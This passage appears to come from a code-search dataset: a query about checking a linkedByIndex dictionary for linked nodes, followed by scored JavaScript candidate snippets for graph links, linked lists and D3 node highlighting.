jQuery(\".o-other-products\").addClass(\"o-o100\");\n\n changePrices();\n}", "title": "" } ]
35b11e66f6f5d101c98d4cb2fc66bfdc
console.log('linkedByIndex', linkedByIndex); check the dictionary to see if nodes are linked
[ { "docid": "aab16bc90916ce0024e0759f9a79fb7e", "score": "0.5668089", "text": "function isConnected(a, b) {\n return linkedByIndex[a.index + \",\" + b.index] || linkedByIndex[b.index + \",\" + a.index] || a.index == b.index;\n }", "title": "" } ]
[ { "docid": "ddc327d591d1539259b73c630b7e317d", "score": "0.64638287", "text": "function isLinked(a, b) {\n return indexLinked[a.index + \",\" + b.index];\n }", "title": "" }, { "docid": "bfb8c59e9bc73a4dcd2d1a38e4821728", "score": "0.60733855", "text": "function checkLinks() {\n var sKeys = Object.keys(oAnchors);\n log(\"Checking links num=\"+sKeys.length);\n checkLink(false,0,sKeys);\n}", "title": "" }, { "docid": "31f2251ff71316831e2804297a274bbc", "score": "0.6023281", "text": "function linkedto(node, links) {\n\tfunction linked(element, index, array) {\n\t\tvar link = false;\n\t\tfor (var i = 0; i < links.length; i++) {\n\t\t\tif (element != node && (element == links[i].node1 || element == links[i].node2)) link = true;\n\t\t}\n\t\treturn link;\n\t}\n\treturn linked;\n}", "title": "" }, { "docid": "f38494f35218ee9932dc4be4e41f7eaa", "score": "0.6016388", "text": "function link_index(d) {\n return d.index;\n}", "title": "" }, { "docid": "8ae75c66ee156331a21cfec22213799a", "score": "0.5939234", "text": "function findLink(thisNode) {\n for (var i = 0; i < elements.length; i++) { \n for (var j = 0; j < elements[i].nodes.length; j++) {\n if( thisNode == elements[i].nodes[j] ) {\n return [elements[i].uniqueName, elements[i].nodes[j].uniqueName]; //return [i,j];\n }\n }\n }\n //return [-1,-1];\n return [\"\",\"\"];\n}", "title": "" }, { "docid": "2fc4e544fe0a9ec94ff1afc8970b7693", "score": "0.5860221", "text": "function isLinked(node) {\r\n\treturn node.parentNode.nodeName == 'A';\r\n}", "title": "" }, { "docid": "9f7be365e347256b81d0b2503f3b75fe", "score": "0.5855865", "text": "linkNodes() {\n this.m_rootIndex = this.linkNodes(this.m_numPoints, this.m_maxLevel);\n }", "title": "" }, { "docid": "1191796647a01ca24e5d0ee40b18a586", "score": "0.58310366", "text": "function isConnected(a, b) {\n return linkedByIndex[a + \",\" + b] || linkedByIndex[b + \",\" + a]; //|| a.index == b.index;\n }", "title": "" }, { "docid": "173ec21acbde0368177f8f6e57d4c651", "score": "0.5827053", "text": "function neighboring(a, b) {\n linkedByIndex[a.id + ',' + b.id] || linkedByIndex[b.id + ',' + a.id];\n }", "title": "" }, { "docid": "8ac27e3e6adb1c9defc052b1ff9c641b", "score": "0.5797985", "text": "_validateLinks () {\n\t\t// console.log('_validateLinks()')\n\t\tlet missing = []\n\t\tthis._links.forEach((link, i) => {\n\t\t\tverifyLinkFormat(link)\n\t\t\tlet isIndexBased = this._isIndexBasedLink(link)\n\t\t\tlet s = isIndexBased ? this._nodes[link.source] : this.findNodeById(link.source)\n\t\t\tlet t = isIndexBased ? this._nodes[link.target] : this.findNodeById(link.target)\n\n\t\t\tif (s !== undefined && t !== undefined) {\n\t\t\t\tthis._links[i] = { source: s, target: t }\n\t\t\t} else {\n\t\t\t\t// console.log('link is invalid', link)\n\t\t\t\tmissing.push(i)\n\t\t\t}\n\t\t})\n\n\t\tthis._removeLinksByIndex(missing)\n\t}", "title": "" }, { "docid": "b4313b14e77165896b2edd2d04a0b3ea", "score": "0.5753427", "text": "function neighboring(a, b) {\n\t\t\t\t\treturn a.nodeID == b.nodeID ? true : linkedByIndex[a.nodeID + ',' + b.nodeID];\n\t\t\t\t}", "title": "" }, { "docid": "e2246e2d635bf1aeefbea06e74477901", "score": "0.57387465", "text": "function linkedNodes() {\n if (mark == 0) {\n\n //Selecting data for the nodes\n let p = d3.select(this).node().__data__;\n\n //Condition of the selected node is a film\n if(p[\"group\"] == 0) \n {\n }\n\n //Opcacity is reduced for all other nodes but the selected node \n nodes.style(\"opacity\", function (q) {\n return ((isLinked(p, q) || isLinked(q, p)) ? 1 : 0.1);\n });\n\n //Opacity is reduced for all other nodes but those which are linked to the selected node\n nodeLinks.style(\"opacity\", function (q) {\n return ((p.index == q.source.index || p.index == q.target.index) ? 1 : 0.1);\n });\n mark = 1;\n } else {\n nodeLinks.style(\"opacity\", 1);\n nodes.style(\"opacity\", 1);\n mark = 0;\n }\n }", "title": "" }, { "docid": "0d3b0d2d328ed5031b8cc5030ccf8a51", "score": "0.5722117", "text": "function getLink(currentNode) {\n for(var i in links) {\n if(links[i].source.Index == selectedNode.Index && links[i].target.Index == currentNode.Index) {\n return links[i];\n }\n }\n return null;\n}", "title": "" }, { "docid": "af5541d39c70a5a3672bc91f60f12aca", "score": "0.5720872", "text": "function setLinkIndexAndNum()\n {\n for (var i = 0; i < finalResult[1].length; i++)\n {\n if (i != 0 &&\n finalResult[1][i].source == finalResult[1][i - 1].source &&\n finalResult[1][i].target == finalResult[1][i - 1].target)\n {\n finalResult[1][i].linkindex = finalResult[1][i - 1].linkindex + 1;\n }\n else\n {\n finalResult[1][i].linkindex = 1;\n }\n // save the total number of links between two nodes\n if (mLinkNum[finalResult[1][i].target + \",\" + finalResult[1][i].source] !== undefined)\n {\n console.log(finalResult[1][i].target + \" \" + finalResult[1][i].source);\n mLinkNum[finalResult[1][i].target + \",\" + finalResult[1][i].source] = finalResult[1][i].linkindex;\n }\n else\n {\n console.log(finalResult[1][i].source + \" \" + finalResult[1][i].target);\n mLinkNum[finalResult[1][i].source + \",\" + finalResult[1][i].target] = finalResult[1][i].linkindex;\n }\n }\n }", "title": "" }, { "docid": "5c65da4efe62b95711eea32d62752f27", "score": "0.571665", "text": "showNodes() {\n var currentNode = this.head;\n\n //if list is empty\n if (currentNode==null){\n throw \"No items found\";\n }\n\n while (currentNode != null) {\n alert(currentNode.element);\n currentNode = currentNode.next;\n }\n\n }", "title": "" }, { "docid": "8144327ca024f252ada54eb1cc886f5c", "score": "0.5662327", "text": "function setupLinks(links)\n {\n var nodesMap = mapNodes(data.nodes);\n for (var key in hiddenPool)\n {\n hiddenPool[key].nodes.forEach(function(n,k)\n {\n nodesMap.set(n.id,n);\n });\n }\n\n links.forEach(function(l,k)\n {\n // if the link has not been set up yet\n if (typeof l.source !== 'object')\n {\n l.source = nodesMap.get(l.source);\n l.target = nodesMap.get(l.target);\n\n if (root)\n {\n var depth = 1;\n if (l.source.depth)\n {\n depth = (l.target.depth || Infinity) > (l.source.depth + 1) ? l.source.depth + 1 : l.target.depth;\n }\n\n if (l.target !== root)\n {\n l.target.depth = depth;\n }\n }\n }\n });\n\n return links;\n\n }", "title": "" }, { "docid": "dec0b7e6aa04673ca06ffec8a5cadedc", "score": "0.5658056", "text": "function isConnected(a, b) {\r\n return linkedByIndex[a.index + \",\" + b.index] || linkedByIndex[b.index + \",\" + a.index] || a.index == b.index;\r\n }", "title": "" }, { "docid": "86eb88ea1c1ac340cb0ac827cd51e79b", "score": "0.56316763", "text": "function updateLinksAndAdditionalNodes(unique_id,callback){\n\n var additional_done = [];\n d3.select(\"#svg1\").selectAll(\".link,.node\").each(function(d){\n if(d.unique_id == unique_id)additional_done[d.index] = false;\n });\n\n d3.select(\"#svg1\").selectAll(\".link,.node\").each(function(d){\n var the_object = this;\n if(d.unique_id == unique_id){\n d3.select(this)\n .transition()\n .duration(animate_duration)\n .style(\"opacity\",1)\n .each(\"end\", function(){\n //if last node, link to the timeline event\n if(d.index == $this.nodes[$this.nodes.length-1].index){\n $this.data.timeline.connectNodeToLastEvent(the_object,\"exit\",animate_duration, function(){\n nodes_done[d.index] = true;\n additional_done[d.index] = true;\n done();\n });\n }\n else {\n additional_done[d.index] = true;\n nodes_done[d.index] = true;\n done();\n }\n });\n }\n });\n\n function done(){\n var okAdditional = true;\n additional_done.forEach(function(d){\n if(d===false) okAdditional = false;\n });\n if(okAdditional){\n callback.call();\n }\n }\n }", "title": "" }, { "docid": "642fe74cf5bfb33d1753ae31a310668d", "score": "0.5597712", "text": "function printNodesAndLinks() {\n\n console.log(\"NODES\");\n Object.keys(flattenedNodes).forEach(function (key) {\n console.log(key);\n });\n\n console.log(\"LINKS\");\n Object.keys(flattenedLinks).forEach(function (key) {\n console.log(key, flattenedLinks[key]);\n });\n }", "title": "" }, { "docid": "1ec286e97a8e9c987b38ecb8d3be6822", "score": "0.55720973", "text": "set(index, value) { // Changing the value of a node based on it's position in singly linked list\n let foundNode = this.get(index)\n\n if (foundNode) {\n foundNode.value = value\n return true\n }\n\n return false\n }", "title": "" }, { "docid": "40359f8429a2ff2d458d72d659f0293c", "score": "0.55672055", "text": "function nodeOn(index){\n let i = 0;\n n[index].io = true;\n n[index].colour = activeColour;\n if (typeof l[0] !== 'undefined'){\n for (i = 0; i < l.length; i++){\n if (n[index].x == l[i].x1){\n l[i].colour = lineColourOn\n }\n }\n }\n}", "title": "" }, { "docid": "148afe0ccb544bd81aec7184d85792fc", "score": "0.5551955", "text": "static demo() {\n const myLinkedList = new LinkedList();\n myLinkedList.insert(11);\n myLinkedList.insert(223);\n myLinkedList.insert(34);\n myLinkedList.insert(78);\n myLinkedList.insert(908);\n myLinkedList.display();\n myLinkedList.insert(8);\n myLinkedList.insert(982);\n myLinkedList.display();\n myLinkedList.length();\n myLinkedList.insertFirst(-1);\n myLinkedList.display();\n myLinkedList.length();\n console.log(\n `is 223 present in the linked list : ${myLinkedList.search(223)}`\n );\n console.log(\n `is 1223 present in the linked list : ${myLinkedList.search(1223)}`\n );\n console.log(\n `is 223 present in the linked list : ${myLinkedList.search(\n 223\n )} @index(${myLinkedList.indexOf(223)})`\n );\n console.log(\n `is 1223 present in the linked list : ${myLinkedList.search(\n 1223\n )} @index(${myLinkedList.indexOf(1223)})`\n );\n console.log(`element @index(${3})`, myLinkedList.elementAt(3));\n console.log(\n `removing the first element of linked List `,\n myLinkedList.removeFirst()\n );\n myLinkedList.display();\n console.log(\n `Is 34 removed from the linkedList : ${myLinkedList.remove(34)}`\n );\n console.log(\n `Is 134 removed from the linkedList : ${myLinkedList.remove(134)}`\n );\n myLinkedList.display();\n myLinkedList.length();\n console.log(`removing element at 2nd index`, myLinkedList.removeAt(2));\n myLinkedList.display();\n myLinkedList.length();\n }", "title": "" }, { "docid": "122a0aa41773474f4909ce3807dc5bdf", "score": "0.5549114", "text": "function isConnected(a, b) {\n return linkedByIndex[a.id + \",\" + b.id] || linkedByIndex[b.id + \",\" + a.id] || a.id === b.id;\n }", "title": "" }, { "docid": "ca018e7fcfeb46b8bc8b90417ce1e053", "score": "0.55354464", "text": "function is_in_links(links, source, target) {\n //console.log(\"links in is_in_links:\", links)\n //var is_found = false\n \n for (var i = 0; i < links.length - 1; i++) {\n var link = links[i];\n if (link.source === source && link.target === target)\n return true\n //if no such link is found, return false\n }\n return false\n }", "title": "" }, { "docid": "2347bd2eac305118aba681d764cd2ee1", "score": "0.5518214", "text": "function checkLinks(nodes) {\n for (const node of nodes) {\n for (const child of node.children) {\n if (child.parent !== node) {\n console.error('Dataflow graph is inconsistent.', node, child);\n return false;\n }\n }\n if (!checkLinks(node.children)) {\n return false;\n }\n }\n return true;\n }", "title": "" }, { "docid": "0049574df6b25cb9f91be937a6c7bb9e", "score": "0.5511798", "text": "function link(nextEntry,prevEntry){nextEntry!=prevEntry&&(nextEntry&&(nextEntry.p=prevEntry),//p stands for previous, 'prev' didn't minify\nprevEntry&&(prevEntry.n=nextEntry))}", "title": "" }, { "docid": "5f9e03e185a5bbb2a41e617ff88ef3e6", "score": "0.5510287", "text": "function hasCycle() {\n if (!_head) {\n return false;\n }\n\n let current = _head;\n let map = {};\n do {\n if (map[current.id]) { return true; }\n else { map[current.id] = true; }\n map[current.id] = true;\n current = current.next;\n } while (current.next);\n\n return false;\n }", "title": "" }, { "docid": "f05cf1cf6b0375682ba3a528b29ead3e", "score": "0.55047095", "text": "function computeNodeLinks(graph) {\n graph.nodes.forEach(function (node, i) {\n node.index = i;\n node.sourceLinks = [];\n node.targetLinks = [];\n });\n var nodeById = (0, _d3Collection.map)(graph.nodes, id);\n graph.links.forEach(function (link, i) {\n link.index = i;\n var source = link.source,\n target = link.target;\n if ((typeof source === \"undefined\" ? \"undefined\" : _typeof(source)) !== \"object\") source = link.source = find(nodeById, source);\n if ((typeof target === \"undefined\" ? \"undefined\" : _typeof(target)) !== \"object\") target = link.target = find(nodeById, target);\n source.sourceLinks.push(link);\n target.targetLinks.push(link);\n });\n }", "title": "" }, { "docid": "fc89d3796a9f13b9c2a8b897844ebb51", "score": "0.5498569", "text": "function verifyLinks(inst, node, isSPG) {\n var instLinks = linkMap[getNodeID(inst)];\n var nodeLinks = linkMap[getNodeID(node)];\n var found = false;\n\n if (!instLinks && !nodeLinks) return true;\n else if (!instLinks || !nodeLinks) return false;\n\n for (var j = 0; j < instLinks.length; j++) {\n found = false;\n var i;\n if (instLinks[j].from == inst.id) {\n for (i = 0; i < nodeLinks.length; i++) {\n if ( nodeLinks[i].from == node.id &&\n nodeLinks[i].to == instLinks[j].to ) {\n found = true;\n break;\n }\n }\n if (!found) return false;\n } else if (instLinks[j].to == inst.id) {\n for (i = 0; i < nodeLinks.length; i++) {\n if ( nodeLinks[i].from == instLinks[j].from &&\n nodeLinks[i].to == node.id ) {\n found = true;\n break;\n }\n }\n if (!found) return false;\n }\n }\n\n return true;\n }", "title": "" }, { "docid": "8053bcb10af745d4c7d5a462bc7c08b9", "score": "0.5483921", "text": "function check_linked(cell1, cell2) {\n if (values[cell1[0]][cell1[1]] != values[cell2[0]][cell2[1]]) {\n return false;\n }\n if (check_horizontal_linked(cell1, cell2)) {\n return true;\n }\n if (check_vertical_linked(cell1, cell2)) {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "62c6f04962356f27912fa50777ce5d6c", "score": "0.5474961", "text": "getConnByNodes(sourceid,targetid) {\n\t for (var i = 0; i < this.graphLinks.length; i++) {\n\t\t if (sourceid === this.graphLinks[i].source.id && targetid === this.graphLinks[i].target.id) {\n\t\t\t return i;\n\t\t }\n\t }\n\t return -1;\n }", "title": "" }, { "docid": "be1f38c5bab0d3735ca280bf6845238e", "score": "0.54701596", "text": "function computeNodeLinks(graph) {\n graph.nodes.forEach(function (node, i) {\n node.index = i;\n node.sourceLinks = [];\n node.targetLinks = [];\n });\n var nodeById = Object(__WEBPACK_IMPORTED_MODULE_1_d3_collection__[\"a\" /* map */])(graph.nodes, id);\n graph.links.forEach(function (link, i) {\n link.index = i;\n var source = link.source,\n target = link.target;\n if ((typeof source === \"undefined\" ? \"undefined\" : _typeof(source)) !== \"object\") source = link.source = find(nodeById, source);\n if ((typeof target === \"undefined\" ? \"undefined\" : _typeof(target)) !== \"object\") target = link.target = find(nodeById, target);\n source.sourceLinks.push(link);\n target.targetLinks.push(link);\n });\n }", "title": "" }, { "docid": "9d4f13cf0b67edd1f123b4bb43de01b7", "score": "0.54568297", "text": "function computeNodeLinks(graph) {\n graph.nodes.forEach(function(node, i) {\n node.index = i;\n node.sourceLinks = [];\n node.targetLinks = [];\n });\n var nodeById = d3Collection.map(graph.nodes, id);\n graph.links.forEach(function(link, i) {\n link.index = i;\n var source = link.source, target = link.target;\n if (typeof source !== \"object\") source = link.source = find(nodeById, source);\n if (typeof target !== \"object\") target = link.target = find(nodeById, target);\n source.sourceLinks.push(link);\n target.targetLinks.push(link);\n });\n }", "title": "" }, { "docid": "8b184d42da3f8d165a0d832d272be894", "score": "0.5450747", "text": "hasThisKey(key) {\n let testNode = this.head;\n while (testNode !== null) {\n if (testNode.data.key === key) return true;\n testNode = testNode.next;\n }\n return false;\n }", "title": "" }, { "docid": "1b0b224da69bc0627d64e7c6d2d9c841", "score": "0.54446113", "text": "getIndex(index) {\n\t\tlet counter = 0;\n\t\tlet node = this.head;\n\t\twhile(node) {\n\t\t\tif(counter === index) {\n\t\t\t\treturn node;\n\t\t\t}\n\t\t\tcounter++;\n\t\t\tnode = node.next;\n\t\t}\n\t\treturn node;\n\t}", "title": "" }, { "docid": "12eb75c4a6e3f2e92bde0a32b6309904", "score": "0.54374164", "text": "function updateLinksAndAdditionalNodes(unique_id,callback2){\n\n var additional_done = [];\n d3.select(\"#svg1\").selectAll(\".link,.node\").each(function(d){\n if(d.unique_id == unique_id)additional_done[d.index] = false;\n });\n\n d3.select(\"#svg1\").selectAll(\".link,.node\").each(function(d){\n if(d.unique_id == unique_id){\n d3.select(this)\n .transition()\n .duration(animate_duration)\n .style(\"opacity\",0)\n .each(\"end\", function(){\n //if last node, link to the timeline event\n if(d.index == $this.nodes[$this.nodes.length-1].index){\n $this.data.timeline.unconnectNodeToLastEvent(\"exit\",animate_duration, function(){\n nodes_done[d.index] = true;\n additional_done[d.index] = true;\n done();\n });\n }\n else {\n additional_done[d.index] = true;\n nodes_done[d.index] = true;\n done();\n }\n });\n }\n });\n\n function done(){\n var okAdditional = true;\n additional_done.forEach(function(d){\n if(d===false) okAdditional = false;\n });\n if(okAdditional){\n callback2.call();\n }\n }\n }", "title": "" }, { "docid": "b1c30faf5bd461a28f136b8fcc085b0f", "score": "0.54255706", "text": "_linkMap() {\n return {\n breed: [\n \"BREED\",\n function(link) {\n return link.getBreedName();\n }\n ],\n color: [\n \"COLOR\",\n function(link) {\n return link._color;\n }\n ],\n end1: [\n \"END1\",\n function(link) {\n return link.end1.id;\n }\n ],\n end2: [\n \"END2\",\n function(link) {\n return link.end2.id;\n }\n ],\n heading: [\n \"HEADING\",\n function(link) {\n var _;\n try {\n return link.getHeading();\n } catch (error) {\n _ = error;\n return 0;\n }\n }\n ],\n 'hidden?': [\n \"HIDDEN?\",\n function(link) {\n return link._isHidden;\n }\n ],\n id: [\n \"ID\",\n function(link) {\n return link.id;\n }\n ],\n 'directed?': [\n \"DIRECTED?\",\n function(link) {\n return link.isDirected;\n }\n ],\n label: [\n \"LABEL\",\n (link) => {\n return this._dump(link._label);\n }\n ],\n 'label-color': [\n \"LABEL-COLOR\",\n function(link) {\n return link._labelcolor;\n }\n ],\n midpointx: [\n \"MIDPOINTX\",\n function(link) {\n return link.getMidpointX();\n }\n ],\n midpointy: [\n \"MIDPOINTY\",\n function(link) {\n return link.getMidpointY();\n }\n ],\n shape: [\n \"SHAPE\",\n function(link) {\n return link._shape;\n }\n ],\n size: [\n \"SIZE\",\n function(link) {\n return link.getSize();\n }\n ],\n thickness: [\n \"THICKNESS\",\n function(link) {\n return link._thickness;\n }\n ],\n 'tie-mode': [\n \"TIE-MODE\",\n function(link) {\n return link.tiemode;\n }\n ],\n lcolor: ignored,\n llabel: ignored,\n llabelcolor: ignored,\n lhidden: ignored,\n lbreed: ignored,\n lshape: ignored\n };\n }", "title": "" }, { "docid": "5787392d82b47a92db0de0cca8cdcde2", "score": "0.5416654", "text": "getAt(index) {\n let current = this.head;\n let it = 0;\n while (current) {\n if (it === index) {\n console.log(\"get at\", current.data);\n }\n it++;\n current = current.next;\n }\n return null;\n }", "title": "" }, { "docid": "138e3ca4dc7a0b4d7609744c60edcc0a", "score": "0.54090005", "text": "isExistingNodeInsertableIntoLink() {\n\t\treturn (this.config.enableInsertNodeDroppedOnLink &&\n\t\t\tthis.dragObjects.length === 1 &&\n\t\t\tCanvasUtils.isNode(this.dragObjects[0]) &&\n\t\t\tCanvasUtils.hasInputAndOutputPorts(this.dragObjects[0]) &&\n\t\t\t!CanvasUtils.isNodeDefaultPortsCardinalityAtMax(this.dragObjects[0], this.activePipeline.links));\n\t}", "title": "" }, { "docid": "7c494287073a607a7224cff3cc49081c", "score": "0.54071057", "text": "function checkListForCycle(currentNode){\n console.log(\"myMap: \", myMap);\n // IF THE CURRENT NODE IS EMPTY, RETURN FALSE\n if (currentNode == null){\n flag = false;\n return;\n }\n\n // IF THE NODE EXISTS BUT ISN'T IN THE MAP, ADD IT \n if(!myMap.has(currentNode)){\n myMap.set(currentNode, true);\n checkListForCycle(currentNode.next);\n }\n\n //IF KEY IS ALREADY THERE, LIST IS CYCLICAL!\n else{\n flag = true;\n return;\n }\n if(flag) console.log(\"loop detected.\");\n else console.log(\"no loop detected\");\n}", "title": "" }, { "docid": "88423621138107233ba0174fbdfd8787", "score": "0.5402535", "text": "function neighboring(a, b) {\n return linkedByIndex[a.index + \",\" + b.index];\n }", "title": "" }, { "docid": "bdac717021520be37815755c5884f73a", "score": "0.5401954", "text": "traverse() {\n var currentValue = this.head;\n while (currentValue) {\n console.log(currentValue.name);\n currentValue = currentValue.next;\n }\n }", "title": "" }, { "docid": "dbfe4f25934373915cd125a9d3e80b44", "score": "0.5396203", "text": "contains(target) {\n let curr = this.head\n\n while(curr) { \n if(curr.value === target) {\n return true\n }\n curr = curr.next\n }\n return false\n }", "title": "" }, { "docid": "ab8a8536ea52f6fd62b0506285b4c8d2", "score": "0.53961563", "text": "hasNode(n) {\n return this.edges[n] != undefined\n }", "title": "" }, { "docid": "8afc788b4105b91cd4b155a223e70313", "score": "0.5395882", "text": "function computeNodeLinks() {\n\t nodes.forEach(function (node) {\n\t node.sourceLinks = [];\n\t node.targetLinks = [];\n\t });\n\t links.forEach(function (link) {\n\t var source = link.source,\n\t target = link.target;\n\t if (typeof source === \"number\") source = link.source = nodes[link.source];\n\t if (typeof target === \"number\") target = link.target = nodes[link.target];\n\t source.sourceLinks.push(link);\n\t target.targetLinks.push(link);\n\t });\n\t }", "title": "" }, { "docid": "a85d0fda5109b0a7135893436499ecda", "score": "0.53920084", "text": "function highlightNodes(d, graph) {\n\n var highlightColor = \"#1D99C1\";\n\n var associatedNodes = [];\n associatedNodes.push(d);\n\n // Find associated links and nodes\n var connections = graph.selectAll(\"g.edgePath\").filter(function (k) {\n if (invisNodes.indexOf(k.v) != -1 || invisNodes.indexOf(k.w) != -1) return false;\n if (invisLinks.indexOf(k) != -1) return false;\n if (k.v == d || k.w == d) {\n if (associatedNodes.indexOf(k.v) == -1) associatedNodes.push(k.v);\n if (associatedNodes.indexOf(k.w) == -1) associatedNodes.push(k.w);\n return true;\n }\n return false;\n });\n\n\n var numFirstNeighbours = associatedNodes.length;\n // Get additional links if graphType is LMEM if the hovered node is not an arbitration node\n // When hovering over an instr, then want to highlight the path to the port through arb (if any): inst -> arb -> port\n // When hovering over a port, then want to highlight the arb and ALL inst to that arb\n if (graphType == \"LMEM\" && d && typeof d != 'undefined' && !isNaN(d.replace(\"_\",\"\")) && flattenedNodes[d].type != \"arb\") {\n connections = graph.selectAll(\"g.edgePath\").filter(function (k) {\n if (invisNodes.indexOf(k.v) != -1 || invisNodes.indexOf(k.w) != -1) return false;\n if (invisLinks.indexOf(k) != -1) return false;\n // Check 2 cases:\n // 1. If d is type instr, then check that tail (k.v) is in one of the 1st neighbours of d.\n // 2. If d is a type port, then check that head (k.w) is in one of the 1st neighbours of d. This essentially gets the inst->arb->port case\n var indexOfKV = associatedNodes.indexOf(k.v);\n var indexOfKW = associatedNodes.indexOf(k.w);\n // Only check the if the edge is connected to the 1st neighbours of d\n if ((indexOfKV != -1 && indexOfKV < numFirstNeighbours) && flattenedNodes[d].type == \"inst\" ||\n (indexOfKW != -1 && indexOfKW < numFirstNeighbours && flattenedNodes[d].type == \"port\")) {\n if (indexOfKV == -1) associatedNodes.push(k.v);\n if (indexOfKW == -1) associatedNodes.push(k.w);\n return true;\n }\n return false;\n });\n }\n\n\n // Highlight links\n connections.selectAll(\"path\")\n .attr(\"style\", \"stroke:\" + highlightColor + \"; opacity: 1; fill:none; stroke-width:5;\");\n\n // Highlight nodes\n var connectedNodes = graph.selectAll(\"g.cluster rect, g.node rect, g.node circle, g.node polygon, g.cluster rect\")\n .filter(function (n) {\n if (associatedNodes.indexOf(n) == -1) return false;\n else if (getNode(n).type == \"kernel\" || getNode(n).type == \"component\" || getNode(n).type == \"memtype\") return false;\n else return true;\n })\n .style(\"stroke-width\", 3)\n .style(\"stroke\", highlightColor);\n\n // Color and highlight arrowheads\n connections.selectAll(\"marker\")\n .attr({\n \"markerUnits\": \"userSpaceOnUse\",\n \"preserveAspectRatio\": \"none\",\n \"viewBox\": \"0 0 40 10\",\n \"refX\": 6,\n \"markerWidth\": 40,\n \"markerHeight\": 12\n })\n .style(\"stroke-width\", 0);\n connections.selectAll(\"marker path\")\n .attr(\"style\", \"fill:\" + highlightColor + \"; opacity: 1; stroke-width:0\");\n }", "title": "" }, { "docid": "559a0df303f4cb23e6462b8080ba9de0", "score": "0.5389845", "text": "getAt(idx) {\n let node = this.head;\n for(let i=0; i<idx; i++){\n node = node.next;\n };\n return node.val;\n }", "title": "" }, { "docid": "fa56f17d5a1cbc47563395a2e84529d2", "score": "0.5378333", "text": "_traverseToIndex(index) {\n let counter = 0;\n let currentNode = this.head;\n while (counter != index) {\n currentNode = currentNode.next;\n counter++;\n }\n return currentNode;\n }", "title": "" }, { "docid": "f5ed590425bed138a6a57d135eb9c802", "score": "0.5377696", "text": "function preProcessArbLinks(arb_link) {\n var arbNodeLinkFrom = nodeMap[getUniqueNodeName(arb_link.from)];\n var arbNodeLinkTo = nodeMap[getUniqueNodeName(arb_link.to)];\n\n if (arbNodeLinkFrom.type == \"inst\") {\n nodeList.push(arbNodeLinkFrom);\n // Check if it's a Load instruction and later needs to be flipped\n if (arbNodeLinkFrom.name.indexOf(\"Load\") !== -1) loadNodes[arbNodeLinkFrom.id] = true;\n } else if (arbNodeLinkTo.type == \"inst\") {\n nodeList.push(arbNodeLinkTo);\n // Check if it's a Load instruction and later needs to be flipped\n if (arbNodeLinkTo.name.indexOf(\"Load\") !== -1) loadNodes[arbNodeLinkTo.id] = true;\n }\n }", "title": "" }, { "docid": "44323838243e52e47f6c45412505d390", "score": "0.53638357", "text": "_find(index) {\n let node = this.head;\n for (let i=0; i<index; i++) {\n node = node.next;\n }\n return node;\n }", "title": "" }, { "docid": "62656d47e47b68601b05b73d2f7abb78", "score": "0.5360812", "text": "getAt(index) { \n let counter = 0;\n let node = this.head;\n while (node) {\n //if the counter is equal to given index\n if (counter === index) {\n //return the node as we've found\n //what we're looking for\n return node;\n }\n //increment our counter\n counter++;\n //move our node to the next node in the chain\n node = node.next;\n }\n //if index not found, return null\n return null;\n }", "title": "" }, { "docid": "39ea4af52ac4f15c087723033789eeba", "score": "0.5360269", "text": "function IsLinked( from, to )\n {\n if( !from || !to ) return false;\n\n from.links.forEach( function(link){ \n if( link==to ) return true;\n });\n\n return false;\n }", "title": "" }, { "docid": "171d5ec48d0c85b03d3e833e9ab4fc72", "score": "0.53528273", "text": "function addLink(link){\n links.push(link);\n console.log('Connecting node [' + link.firstId + '] and ['+ link.secondId + ']');\n }", "title": "" }, { "docid": "425008a6a7829640952275692695c22b", "score": "0.5347353", "text": "function computeNodeLinks() {\n nodes.forEach(function(node) {\n node.sourceLinks = [];\n node.targetLinks = [];\n });\n links.forEach(function(link) {\n var source = link.source,\n target = link.target;\n if (typeof source === \"number\") source = link.source = nodes[link.source];\n if (typeof target === \"number\") target = link.target = nodes[link.target];\n source.sourceLinks.push(link);\n target.targetLinks.push(link);\n });\n }", "title": "" }, { "docid": "425008a6a7829640952275692695c22b", "score": "0.5347353", "text": "function computeNodeLinks() {\n nodes.forEach(function(node) {\n node.sourceLinks = [];\n node.targetLinks = [];\n });\n links.forEach(function(link) {\n var source = link.source,\n target = link.target;\n if (typeof source === \"number\") source = link.source = nodes[link.source];\n if (typeof target === \"number\") target = link.target = nodes[link.target];\n source.sourceLinks.push(link);\n target.targetLinks.push(link);\n });\n }", "title": "" }, { "docid": "bc15a748bbc95610cffda85b4f87c76d", "score": "0.5327351", "text": "function toggleLinks () {\n // check text displayed on the page of the first link to a known value\n if ($('li').first().text() === dukeLinks[0].name) {\n loadLinks('data/compsci_links.json');\n }\n else {\n addLinks(dukeLinks);\n }\n }", "title": "" }, { "docid": "19c36894c86019cefc05f4c6407153b5", "score": "0.5320909", "text": "function computeNodeLinks() {\n\t nodes.forEach(function(node) {\n\t // Links that have this node as source.\n\t node.sourceLinks = [];\n\t // Links that have this node as target.\n\t node.targetLinks = [];\n\t });\n\t links.forEach(function(link) {\n\t var source = link.source,\n\t target = link.target;\n\t if (typeof source === 'number') source = link.source = nodes[link.source];\n\t if (typeof target === 'number') target = link.target = nodes[link.target];\n\t source.sourceLinks.push(link);\n\t target.targetLinks.push(link);\n\t });\n\t }", "title": "" }, { "docid": "0cc24624d233e061bbba86951cd2f803", "score": "0.5311213", "text": "function computeNodeLinks() {\n nodes.forEach(function (node) {\n node.sourceLinks = [];\n node.targetLinks = [];\n });\n links.forEach(function (link) {\n var source = link.source,\n target = link.target;\n if (typeof source === \"number\") source = link.source = nodes[link.source];\n if (typeof target === \"number\") target = link.target = nodes[link.target];\n source.sourceLinks.push(link);\n target.targetLinks.push(link);\n });\n }", "title": "" }, { "docid": "b150bf8037efa4ca8d9c762b7b9b6336", "score": "0.530955", "text": "traverse(index){\r\n\t\tlet counter = 0;\r\n\t\tlet currentNode = this.head\r\n\t\twhile(counter !== index){\r\n\t\t\tcurrentNode = currentNode.next;\r\n\t\t\tcounter++\r\n\t\t}\r\n\t\treturn currentNode\r\n\t}", "title": "" }, { "docid": "5c9796629769d3e3c802de672b50a41f", "score": "0.53088", "text": "function neighboring(a, b) {\n return linkedByIndex[a.index + \",\" + b.index];\n }", "title": "" }, { "docid": "8c96bdbdc931fcc7096567549650e629", "score": "0.53041875", "text": "display() {\n let currentNode = this.head;\n\n while (currentNode !== null){\n console.log('Node element = ', currentNode.element);\n currentNode = currentNode.next;\n }\n }", "title": "" }, { "docid": "8046767d6f12d538c984b7fd3e8491ab", "score": "0.5285454", "text": "function verifyJSONForVisjsNodes( returnedObject ) {\n var returnedNodes = returnedObject.nodes;\n if(returnedNodes[0]!==null&&(!_.has(returnedNodes[0], \"id\"))) {\n for(var iterator 